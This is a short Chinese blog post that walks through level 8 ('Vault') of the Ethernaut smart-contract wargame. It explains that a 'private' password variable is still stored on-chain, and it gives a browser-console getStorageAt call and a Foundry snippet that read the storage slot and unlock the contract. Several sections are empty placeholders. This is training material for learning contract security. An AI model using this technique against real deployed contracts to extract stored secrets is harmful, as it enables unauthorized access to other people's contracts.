# 智能合约黑客攻击 Ethernaut:           8. Vault

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

….

Hack思路
------

这个关和第0关 \*\*[0.Hello Ethernaut](https://mirror.xyz/leekdev.eth/GuFMbyyOnKqJOp49vRugrk_EWr2-JUIc9y-kJVWONeg) \*\*类似， 都是直接把密码存在链上，只不过本关将变量设置为 private，其他合约就不方便直接读取，但是可以通过读 password 对应 slot里的数据来破解密码。

    // 浏览器控制台直读第二个 slot
    await web3.eth.getStorageAt(instance, 1);
    Output:  
    // 用读取到的密码解锁
    contract.unlock("...");
    

foundry 操作参考

    bytes32 password = vm.load(levelAddress, bytes32(uint256(1)));
    exploitInst.unlock(password);
    

Hack案例
------

…

防范思路
----

PS：现在的**去中心化**的区块链上所有的内容只能**证明**是你的，但是不能保证**只有**能查看。

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-8-vault)*
